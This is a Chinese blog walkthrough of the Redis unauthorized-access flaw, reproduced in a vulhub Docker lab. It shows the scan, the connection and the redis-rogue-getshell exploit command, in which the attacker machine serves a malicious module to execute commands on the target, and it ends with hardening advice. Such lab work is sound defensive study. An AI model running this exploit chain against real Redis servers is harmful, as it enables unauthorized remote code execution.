redis未授权访问漏洞【vulhub靶场】复现
vulhub
基于 Docker-Compose 的预构建易受攻击环境。
项目地址:https://gitcode.com/gh_mirrors/vu/vulhub
免费下载资源
·
漏洞概述
Redis
默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip
访问等,这样将会将 Redis
服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis
以及读取 Redis
的数据。攻击者在未授权访问 Redis
的情况下,利用 Redis
自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh
公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh
服务登录目标服务器、添加计划任务、写入Webshell
等操作。
影响版本
Redis 4.x/5.0.5
以前版本
漏洞复现
docker 靶机:192.168.11.128
攻击机 kali:192.168.11.131
- 开启环境
docker-compose ps
,可以看到redis
启动在6379
端口
- 攻击机安装
redis
,依次执行以下命令
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
nmap
扫描docker
靶机,发现6379
端口开启
nmap -sV --open -p- 192.168.11.128
5. 用攻击机redis
连接目标机redis
cd redis-2.8.12/src/
./redis-cli -h 192.168.11.128
6. 连接成功,info
查看信息
- 在攻击机下载
exp
,依次在攻击机中输入以下命令
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件
- 回到
redis-rogue-getshell
目录下,利用EXP
./redis-master.py -r 192.168.11.128 -p 6379 -L 192.168.11.131 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id"
//第一个ip是靶机,第二个ip是攻击机
- 利用成功
由于实验环境为vulhub
,只能通过该exp
来getshell
,如果想通过写文件、ssh key
或定时计划来getshell
,会提示没有权限。需要自己搭建靶场环境,参考一下文章:
参考文章1
参考文章2
防御方法
-
设置
Redis
访问密码在redis.conf
中找到 “requirepass
” 字段在后面填上强口令,redis
客户端也需要此密码来访问redis
服务。 -
添加
IP
访问限制:配置bind
选项限定可以连接Reids
服务器的IP
并修改默认端口6379
。 -
重启
Redis
服务。 -
清理系统中存在的后门木马。
-
禁止使用
root
权限启动redis
服务。
GitHub 加速计划 / vu / vulhub
8
1
下载
基于 Docker-Compose 的预构建易受攻击环境。
最近提交(Master分支:4 个月前 )
2111bfe4
added GeoServer CVE-2024-36401 5 个月前
f0495cba - 5 个月前
更多推荐
已为社区贡献5条内容
所有评论(0)